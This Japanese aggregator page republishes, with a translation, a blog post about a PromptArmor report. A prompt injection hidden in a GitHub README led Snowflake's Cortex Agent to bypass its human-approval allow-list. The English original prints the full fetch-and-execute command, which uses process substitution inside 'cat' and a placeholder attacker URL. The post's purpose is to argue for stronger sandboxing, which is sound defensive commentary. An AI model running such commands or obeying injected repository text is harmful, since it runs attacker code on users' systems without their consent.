Snowflake Cortex AIがサンドボックスを脱出しマルウェアを実行
本文の状態
日本語全文を表示中
詳細モードで約1分の本文を読めます。
同じ出来事の情報源
この情報源を基点に整理
Simon Willison Blog
PromptArmorが、SnowflakeのCortex Agentにおけるプロンプトインジェクション攻撃チェーンを報告した。攻撃はCortexユーザーがGitHubリポジトリをレビューするよう依頼した際に開始され、現在は修正済み。
Source Article
元記事を日本語で読む
本文に関係しない購読案内、埋め込み通知、サイト内プロモーションは除いています。
Snowflake Cortex AI がサンドボックスを脱出し、マルウェアを実行
PromptArmor によるレポートでは、Snowflake の Cortex Agent におけるプロンプトインジェクション攻撃チェーンが報告されており、現在は修正済みです。
この攻撃は、Cortex ユーザーが、README ファイルの末尾に隠されたプロンプトインジェクション攻撃を含む GitHub リポジトリをエージェントにレビューさせることから始まりました。
その結果、エージェントはこのコードを実行してしまいました：
cat
Cortex は、このコマンド本体で発生しうるプロセス置換（process substitution）に対する保護を行わず、cat コマンドを人間の承認なしに実行しても安全であると判断しました。
私は、このようなコマンドパターンに対するホワイトリストが多数の異なるエージェントツールで見られることを知っていますが、それらを全く信頼していません。私には本質的に不安定なものに感じられます。
私はむしろ、エージェントのコマンドはプロセス自体が許可されているあらゆることを行える可能性があるものとして扱うべきだと考えています。そのため、エージェントそのもののレイヤーの外側で動作する決定論的サンドボックス（deterministic sandbox）への関心が生まれました。
Via Hacker News
Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms
原文を表示
Snowflake Cortex AI Escapes Sandbox and Executes Malware
PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed.
The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.
The attack caused the agent to execute this code:
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
Cortex listed cat commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.
I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.
I'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.
Via Hacker News
Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms
今日のまとめ
AIデイリーブリーフで今日の重要ニュースをまとめ読み